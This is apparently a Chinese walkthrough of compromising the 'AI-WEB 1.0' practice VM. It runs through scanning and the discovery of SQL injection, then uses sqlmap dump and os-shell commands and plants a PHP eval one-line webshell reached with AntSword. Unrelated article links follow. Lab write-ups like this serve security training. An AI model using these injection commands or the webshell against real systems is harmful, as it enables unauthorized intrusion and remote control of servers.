当前位置: 首页 > news >正文

ai web 1.0靶机漏洞渗透详解

一、导入靶机

解压下载好的靶机,然后打开VMware,点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开

确认是靶机的网络连接模式是NAT模式

二、信息收集

1、主机发现

在本机的命令窗口输入ipconfig查看VMnet8这块网卡,这块网卡就是虚拟机NAT模式的网卡,发现它子204这个网段

用御剑扫描工具扫描虚拟机的NAT网段,发现靶机的IP是192.168.204.140

网页上访问192.168.204.140,出现以下信息

2、端口扫描

使用kali命令扫描nmap -A 192.168. 204.140 -p-

发现只开放了80端口

3、目录扫描

扫描目录发现robots.txt和index.html

访问robots.txt,发现有两个目录

我们再次对这两个目录扫描

扫描第一个目录我们发现有一个info.php

访问,发现是一个PHP的探针文件,通过探针文件我们可以知道网站的根目录是/home/www/html/web1x443290o2sdf92213

我们扫描另一个目录,写扫描一级目录,发现一个index.php

访问,发现一个输入框和一个提交按钮

我们输入一个1,发现查询回显信息, 这时考虑sql注入

 输入’报错发现sql注入漏洞

扫描二级目录发现什么也没有

访问,出现以下信息

三、漏洞利用

1.sqlmap的使用

这里利用burp抓包得到以下的包

通过抓包得到注入点uid=1&Operation=Submit,将抓到的包保存成一个文件,在1后面加一个*,说明这里是注入点

使用sqlmap 输入python3 sqlmap.py -r C:\Users\11984\Desktop\6.txt --current-db –batch获取到当前输入库aiweb1

输入python3 sqlmap.py -r C:\Users\11984\Desktop\6.txt -D aiweb1 --dump –batch直接获取当前数据的所有数据,发现并没有什么可以利用的信息

通过上面的PHP探针文件,我们知道了网站的根目录 /home/www/html/web1x443290o2sdf92213/,我们可以利用—os-shell来操作网站系统

我们还需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合 它的绝对目录为

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

这里成功进入shell

2.上传一句话木马

通过shell写入一句话木马,在os-shell输入以下代码echo '<?php @eval($_POST['cmd']); ?>' > 1.php,然后cat查看内容,保证一句话木马成功写入

成功访问到木马文件,说明木马确实成功写入

使用蚁剑进行连接,写入一句话木马文件的路径:

http://192.168.204.140/se3reTdir777/uploads/1.php连接密码是刚刚POST传入的:cmd

成功登陆到靶机

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 搭建个人的金融系统-----第一章,数据库设计
  • Arch Linux - 2-安装中文输入法
  • 解析 C# Dictionary 代码
  • Comfyui实例容器运行横向扩展
  • 【ROS 最简单教程 003/300】ROS 快速体验:Hello World
  • C# Where关键字
  • 数学建模--蒙特卡罗随机模拟
  • 嵌入式Linux系统中pinictrl框架基本实现
  • 数学建模--禁忌搜索
  • Kafka操作
  • 现代前端架构介绍(第三部分):深入了解状态管理层及其对前端App的影响
  • tcp westwood 比 reno,cubic 好在哪
  • MinIO:高性能轻量云存储轻松搭建与springboot应用整合实践
  • JavaWeb学习——mybatis
  • 过滤器与拦截器的区别与应用
  • “大数据应用场景”之隔壁老王(连载四)
  • 【JavaScript】通过闭包创建具有私有属性的实例对象
  • ES6系统学习----从Apollo Client看解构赋值
  • ES学习笔记(10)--ES6中的函数和数组补漏
  • HTML中设置input等文本框为不可操作
  • mac修复ab及siege安装
  • php中curl和soap方式请求服务超时问题
  • SAP云平台运行环境Cloud Foundry和Neo的区别
  • Spark学习笔记之相关记录
  • Spring Cloud(3) - 服务治理: Spring Cloud Eureka
  • VuePress 静态网站生成
  • web标准化(下)
  • 分享一份非常强势的Android面试题
  • 回顾 Swift 多平台移植进度 #2
  • 基于组件的设计工作流与界面抽象
  • 记一次用 NodeJs 实现模拟登录的思路
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 浏览器缓存机制分析
  • 日剧·日综资源集合(建议收藏)
  • 它承受着该等级不该有的简单, leetcode 564 寻找最近的回文数
  • 写代码的正确姿势
  • 移动端唤起键盘时取消position:fixed定位
  • 自制字幕遮挡器
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • #pragma data_seg 共享数据区(转)
  • #我与Java虚拟机的故事#连载01:人在JVM,身不由己
  • (02)Cartographer源码无死角解析-(03) 新数据运行与地图保存、加载地图启动仅定位模式
  • (二)JAVA使用POI操作excel
  • (二十四)Flask之flask-session组件
  • (十二)Flink Table API
  • (十六)一篇文章学会Java的常用API
  • (四)TensorRT | 基于 GPU 端的 Python 推理
  • (转) Android中ViewStub组件使用
  • (转)可以带来幸福的一本书
  • (转)我也是一只IT小小鸟
  • .[hudsonL@cock.li].mkp勒索病毒数据怎么处理|数据解密恢复
  • .NET 8 中引入新的 IHostedLifecycleService 接口 实现定时任务
  • .net core MVC 通过 Filters 过滤器拦截请求及响应内容
  • .net framework profiles /.net framework 配置
  • .net6 webapi log4net完整配置使用流程